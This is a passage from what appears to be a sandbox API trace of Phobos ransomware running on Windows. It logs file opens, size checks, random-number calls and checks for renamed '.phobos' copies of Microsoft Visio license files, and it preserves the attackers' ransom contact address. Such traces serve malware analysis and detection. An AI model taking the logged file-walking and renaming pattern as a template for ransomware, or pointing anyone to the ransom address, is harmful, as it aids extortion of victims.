lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.703] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.704] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0153.704] CloseHandle (hObject=0x570) returned 1 [0153.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-pl.xrm-ms")) returned 0x220 [0153.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.705] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.706] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20923) returned 1 [0153.706] CloseHandle (hObject=0x570) returned 1 [0153.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ppd.xrm-ms")) returned 0x220 [0153.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.706] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.707] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11628) returned 1 [0153.707] CloseHandle (hObject=0x570) returned 1 [0153.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ul-oob.xrm-ms")) returned 0x220 [0153.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProCO365R_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproco365r_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.707] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.708] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11203) returned 1 [0153.708] CloseHandle (hObject=0x570) returned 1 [0153.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0153.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.711] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.713] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20987) returned 1 [0153.713] CloseHandle (hObject=0x570) returned 1 [0153.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0153.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.713] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.714] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11651) returned 1 [0153.714] CloseHandle (hObject=0x570) returned 1 [0153.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0153.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.715] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.716] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=10655) returned 1 [0153.716] CloseHandle (hObject=0x570) returned 1 [0153.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-pl.xrm-ms")) returned 0x220 [0153.716] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.717] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.718] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20923) returned 1 [0153.718] CloseHandle (hObject=0x570) returned 1 [0153.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ppd.xrm-ms")) returned 0x220 [0153.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.719] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.720] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11602) returned 1 [0153.720] CloseHandle (hObject=0x570) returned 1 [0153.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-oob.xrm-ms")) returned 0x220 [0153.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.721] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.722] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19947) returned 1 [0153.722] CloseHandle (hObject=0x570) returned 1 [0153.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.726] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.727] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11195) returned 1 [0153.727] CloseHandle (hObject=0x570) returned 1 [0153.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-pl.xrm-ms")) returned 0x220 [0153.727] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.826] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.827] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21412) returned 1 [0153.827] CloseHandle (hObject=0x570) returned 1 [0153.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.827] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.828] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11591) returned 1 [0153.828] CloseHandle (hObject=0x570) returned 1 [0153.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.829] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.829] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19936) returned 1 [0153.829] CloseHandle (hObject=0x570) returned 1 [0153.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.830] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0153.831] GetFileSizeEx (in: hFile=0x570, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11199) returned 1 [0153.831] CloseHandle (hObject=0x570) returned 1 [0153.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-pl.xrm-ms")) returned 0x220 [0153.831] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.831] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.832] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0153.832] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioStdCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiostdco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, 